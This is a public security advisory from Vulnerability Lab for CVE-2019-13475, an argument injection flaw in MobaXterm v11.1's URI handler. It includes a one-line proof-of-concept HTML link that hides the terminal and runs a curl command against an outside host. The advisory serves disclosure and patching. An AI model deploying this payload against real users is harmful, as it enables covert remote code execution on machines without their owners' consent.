Mobatek MobaXterm v11.1 - Code Execution Vulnerability

Document Title:
===============
Mobatek MobaXterm v11.1 - Code Execution Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2186

Video: https://www.youtube.com/watch?v=Oz0rCBuRKrY

Refernce(s):
https://download.mobatek.net/1112019010310554/MobaXterm_Installer_v11.1.zip

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-13475

CVE-ID:
=======
CVE-2019-13475


Release Date:
=============
2019-07-08


Vulnerability Laboratory ID (VL-ID):
====================================
2186


Common Vulnerability Scoring System:
====================================
8.1


Vulnerability Class:
====================
Code Execution


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
MobaXterm is your ultimate toolbox for remote computing. In a single Windows application, it provides loads of functions that 
are tailored for programmers, webmasters, IT administrators and pretty much all users who need to handle their remote jobs in 
a more simple fashion. MobaXterm provides all the important remote network tools (SSH, X11, RDP, VNC, FTP, MOSH, ...) and Unix 
commands (bash, ls, cat, sed, grep, awk, rsync,) to Windows desktop, in a single portable exe file which works out of the box.

(Copy of the Homepage: https://mobaxterm.mobatek.net/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a remote code execution vulnerability in the Mobatek MobaXterm v11.1 software.


Vulnerability Disclosure Timeline:
==================================
2019-07-08: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
The URI handler of MobaXterm (mobaxterm:) has an argument injection vulnerability that allows remote attackers to 
execute arbitrary commands when the user visits a specially crafted URL. Based on the available command line arguments 
of the software, one can simply inject `-exec` to execute arbitrary commands. The additional arguments `-hideterm` and 
`-exitwhendone` in the payload allow the attack become less visible. Successful exploitation of the arbitrary code 
execution vulnerability results in unauthorized execution of malicious code on the affected web-server system.


Proof of Concept (PoC):
=======================
The vulnerability could be triggered by visiting a specially crafted URL. 
To reproduce the vulnerability, one could simply create a .url file or open the URL using certain Windows Apps like Outlook for Windows.

PoC: Exploitation
<a href='mobaxterm:" -hideterm -exitwhendone -exec "$(curl poc.mm2.in)'>Connect with MobaXterm</a>

PoC: Video
https://www.youtube.com/watch?v=Oz0rCBuRKrY


Solution - Fix & Patch:
=======================
The manufacturer is preparing a update for the future versions 12.0 or 12.1 by putting warnings at each execution of MobaXterm,
when it is started using an URL.
Please update the software and version as soon as the update becomes available on the webpage of the product manufacturer.


Security Risk:
==============
The security risk of the remote code execution vulnerability in the mobdaxterm application is estimated as high.


Credits & Authors:
==================
Ping Fan (Zetta) Ke [[email protected]]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2019 | Vulnerability Laboratory - [Evolution Security GmbH]™